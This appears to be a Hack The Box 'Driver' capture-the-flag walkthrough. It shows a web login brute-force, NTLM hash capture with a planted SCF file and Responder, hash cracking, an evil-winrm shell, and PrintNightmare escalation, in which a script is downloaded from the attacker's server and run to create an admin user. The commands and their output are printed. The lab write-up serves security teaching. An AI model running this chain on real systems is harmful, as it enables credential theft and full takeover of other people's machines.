Hack The Box – Driver Walkthrough

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First step is to do some enumeration. Let's scan the host with nmap:

We can see it is a windows machine because of ports 135 and 445. It also has a HTTP service and a Remote Management service.

When checking the website on port 80 we can see a login prompt. Let's try to brute-force it with Metasploit's http-login module:

```
msf5 auxiliary(scanner/http/http_logir) > set rhosts 10.10.11.106
rhosts ⇒ 10.10.11.106
msf5 auxiliary(scanner/http/http_login) > run

[*] Attempting to login to http://10.10.11.106:80/
[+] 10.10.11.106:80 - Success: 'admin:admin'
```

We found the 'admin:admin' credentials. When we log-in, we see it is a printer web portal.

The only available page at first sight is the 'firmware update' page. When doing some enumeration with *gobuster* or *dirb* I found no interesting folders or PHP files.

The firmware update page has a file upload. It tells us that the files will be stored on their file share (so we cannot access it from the webpage), will be manually reviewed by the testing team and the testing will start soon.

On the page footer we see a possible user: support@driver.htb'.

In this scenario we can make use of the SCF files, about which I have known thanks to this challenge (https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/).

These files can execute shell operations and attackers can use them to their favour. With a simple file like the following, when the testing team accesses the file share, the file with search the icon file on the network share we indicate (our own machine) without having to be executed.

That way, the machine will make a NTLM authentication against our machine to access our SMB server. We do not have a SMB server; we are going to use the *Responder* tool to deploy a fake server and gather the credentials.

Let's upload the file and wait for the auth attempt:

We got some credentials for a user called 'tony'. Let's try to crack them with John The Ripper:

```
kaliakali:~/attack-tools/evil-winrm$ /usr/sbin/john ../Responder/logs/SMB-NTLMv2-SSP-10.10.11.106.txt --wordlists/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 13 password hashes with 13 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
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We got the valid system credentials 'tony:liltony'.

We know there is a windows management service. Let's try to exploit it and get a shell with these credentials. For this I found the evil-winrm tool (https://github.com/Hackplayers/evil-winrm).

```
kali@kali:~/attack-tools/evil-winrm$ evil-winrm -i 10.10.11.106 -u tony -p liltony
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents>
```

We got access!

We can find the user flag on the *Desktop* folder:

To get the root access we can exploit a recently reported vulnerability, the CVE-2021-34527, that affects windows printers and allows remote code execution of DLL files.

We can find several exploits online, like this Python tool that lets you load a remote DLL to the machine: https://github.com/cube0x0/CVE-2021-1675.

I am going to try this other exploit though, which is written in PowerShell and that, apart from letting you load remote DLLs, it lets you create administration users from the command arguments: https://github.com/JohnHammond/CVE-2021-34527.

First, I get the exploit from my personal webserver. Then, I execute it creating a new user called 'alberto'.

```
*Evil-WinRM* PS C:\Users\tony\Desktop> Invoke-WebRequest "http://10.10.14.79/CVE-2021-34527.ps1" -OutFile CVE-2021-34527.ps1
*Evil-WinRM* PS C:\Users\tony\Desktop> Import-Module .\CVE-2021-34527.ps1
*Evil-WinRM* PS C:\Users\tony\Desktop> Invoke-Wightmare -DriverName "Xerox" -NewUser "alberto" -NewPassword "alberto"
[+] created payload at C:\Users\tony\Depkata\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*EVIL-WINRM* PS C:\Users\tony\Desktop> 1
```

Let's execute the evil-winrm exploit again with the new credentials and see how the new user has administration permissions as it can read inside the Administrator user folder:

```
kali@kali:~/attack-tools/evil-winrm$ evil-winrm -i 10.10.11.106 -u alberto -p alberto
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\alberto\Documents> cat C:\Users\Administrator\Desktop\root.txt
b0e3ebafbaf86279378843ae5c29ef26
*Evil-WinRM* PS C:\Users\alberto\Documents> ■
```

We find the final flag inside the administrator's Desktop folder.